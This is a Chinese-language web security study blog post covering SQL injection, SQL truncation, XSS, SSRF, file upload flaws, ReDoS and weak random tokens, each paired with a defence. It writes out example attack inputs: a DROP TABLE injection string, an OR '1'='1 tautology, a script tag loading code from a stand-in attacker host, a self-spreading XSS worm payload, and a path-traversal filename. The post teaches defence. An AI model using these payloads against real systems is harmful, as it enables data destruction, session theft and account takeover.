Web 安全学习笔记

 

其实本来是社团内训的稿子, 写在博客上凑个数.

记录一些比较常见的 Web 攻击和防御办法.

SQL 注入

SQL注入(英语:SQL injection),也称SQL注入SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。

错误示范如下 (Java):

1
2
PreparedStatement stat = conn.prepareStatement("INSERT INTO User (name, email, password, salt) VALUES ( '" + user.getName() + "', '" + user.getEmail() + "', '" + user.getPasswordHash() + "', '"+ user.getSalt() + "');");
stat.executeUpdate();

如果用户输入的用户名为 test, 邮箱 [email protected], 密码 xxx, 最终执行的 SQL 语句如下.

1
INSERT INTO User (name, email, password, salt) VALUES ('test', '[email protected]', 'hash', 'salt');

语句可以正常执行, 不会引发漏洞.

但如果用户输入的用户名为 test','','','');DROP TABLE User;#

1
INSERT INTO User (name, email, password, salt) values('test','','','');DROP TABLE User;#','123@example.com', 'hash', 'salt');

恶意用户的输入转变了原本 SQL 语句的语义, 导致执行了恶意语句 DROP TABLE User;.

SQL 语句不仅可以用于删库跑路.

如果在有回显的情况下还可能造成数据库内容的泄露 如:1' OR '1'='1.

1
SELECT * FROM User WHERE name = '1' OR '1'='1';

甚至进一步利用数据库的一些特性修改文件系统, 入侵服务器.

正确示范: 使用 Prepared Statement (预处理语句) 提供的格式化功能, 保证语义不变, 不要自己拼接语句!

1
2
3
4
5
6
PreparedStatement stat = conn.prepareStatement("INSERT INTO User (name, email, password, salt) VALUES (?, ?, ?, ?);");
stat.setString(1, user.getName());
stat.setString(2, user.getEmail());
stat.setString(3, user.getPasswordHash());
stat.setString(4, user.getSalt());
stat.executeUpdate();

正确示范2: 对用户输入进行正确的转义.

1
mysqli_real_escape_string ( mysqli $link , string $escapestr ) : string

SQL 截断

如果服务器 SQL 表中存储用户名使用了 varchar(32).

假设服务器已经有管理员用户, 名为 admin.

用户输入用户名为 admin x.

“admin” 和其后的 27 个空格恰好占满了前 32 个字符, 用户检查时服务器会认为 admin x 这个用户不存在, 但插入数据库时用户名被截断, 最后的 “x” 被忽略, 随后字符串结尾的空格也被略去, 真正插入到数据库的用户名是 admin, 和现有的管理员重名, 可能进一步导致鉴权和授权时的 BUG.

这个问题产生的原因就是很多 SQL 服务器对于过长的输入的默认操作是直接截断, 产生警告, 但操作能成功完成.

所有要求唯一性的字段都可能受到 SQL 截断的影响.

防御方法: 对用户的输入在后端进行长度检查, 或修改 SQL 服务器配置为严格模式, 将截断的 WARNING 提升为 ERROR.

XSS

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言

如在后端渲染模板中有如下代码:

1
<p>Username: {{ username }}</p>

如果用户输入的用户名为user<script src="https://xss.com/a.js"></script>

若没有进行输入检查, 则最终渲染完成得到的 HTML 返回为

1
<p>Username: user<script src="https://xss.com/a.js"></script></p>

最终改变了 HTML 的语义.

所有看到这个用户名的其他用户的浏览器都会解析 script 标签并获取 https://xss.com/a.js 这个由攻击者定义的 js 文件并执行其中的代码.

由于代码的执行者是所有看到恶意用户用户名的用户, 这段 js 脚本可以绕过浏览器 SOP, 窃取配置不当 (非 HttpOnly) 的 Cookie Session 回传攻击者服务器, 跳转钓鱼页面 (如假登录页面) 获取用户密码, 记录用户键盘输入, 访问用户内网等.

还可以进行 XSS 蠕虫攻击.

假设上述例子的网站修改用户名的方式为 POST 新用户名到 https://example.com/v1/users/change_nickname

攻击者可以构造以下 payload:

1
2
3
用户名: user<script src="https://xss.com/a.js"></script>
a.js:
$.post("https://example.com/v1/users/change_nickname", {name: "user<script src=\"https://xss.com/a.js\"></script>"});

在正常用户不知情的情况下, 恶意脚本伪造了用户的请求 (利用 CSRF) 并修改了正常用户的用户名, 使其包含了恶意脚本, 可以快速传播.

防御方法: 对用户的输入进行检查转义, 设置服务器 CSP, 并加上 CSRF 防护.

内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS (en-US)) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

CSRF

上次写过了.

SSRF

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

比如服务器添加了一个功能, 用户发送普通链接 (如 https://www.baidu.com/), 服务器会访问目标获取网页 Title 或者 Logo, 显示成卡片消息.

但如果恶意用户发送链接 http://192.168.1.1/, 服务器可能会将用户本访问不到的内网信息返回给用户, 进而造成信息的泄露.

还可以通过其他协议 (如file://, dict://) 来访问服务器其他的敏感信息.

防御方法: 这篇文章写的很好.

文件上传(.htaccess/目录穿越/PHP一句话木马)

如果直接使用 /somepath/<用户提供的文件名> 保存文件,

如果用户设置的文件名为 .htaccess, 保存的文件会重载 Apache 的配置造成安全风险.

如果用户设置的文件名为./../somename.php, 文件会被保存到上级目录.

如果用户上传一个 PHP 文件, 就可能导致任意代码在服务器上被执行.

正确做法: 文件上传后使用随机名称 (如 UUID) 保存文件, 对文件内容进行检查, 正确地配置服务器.

详情见 https://misakikata.github.io/2019/05/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/

正则灾难性回溯

如果用以下有缺陷的正则表达式去判断用户输入的 Email 是否合法:

1
^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$

当输入为 a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! 时会发生灾难性回溯, 很多正则引擎会尝试所有可能的分组, 耗时指数级上升, 程序占用大量 CPU 资源尝试匹配, 甚至可能导致服务器卡死 (ReDoS 攻击).

解决方法: 优化正则表达式(减少分组, 避免量词嵌套等), 要求性能的场景少用正则表达式, 换用高效的正则引擎(第三方库).

随机数安全

假设用户申请重置密码链接的生成规则如下:

1
https://example.com/account/reset_password?token=md5(time())

攻击者可以通过为其他账号申请密码重置并猜测当时的服务器时间戳得到重置链接, 从而修改其他用户的密码.

如果用户上传私有文件仅使用随机文件名保证私密性, 文件名也可能被猜测导致文件内容泄露.

同理, 很多语言的 Random 库或 UUID 库默认情况下将时间戳作为种子, 会产生可预测的随机数.

正确做法: 必要时使用 SecureRandom 库.

总结

不要相信用户输入, 时刻记住对用户输入进行检查.

不要自己发挥想象力, 系统性学习语言和相关框架, 多读官方文档, 遵循相关的 Best Practice.

本文采用 CC BY-NC-SA 4.0 许可协议发布.

作者: lyc8503, 文章链接: https://blog.lyc8503.net/post/web-security/
如果本文给你带来了帮助或让你觉得有趣, 可以考虑赞助我¬_¬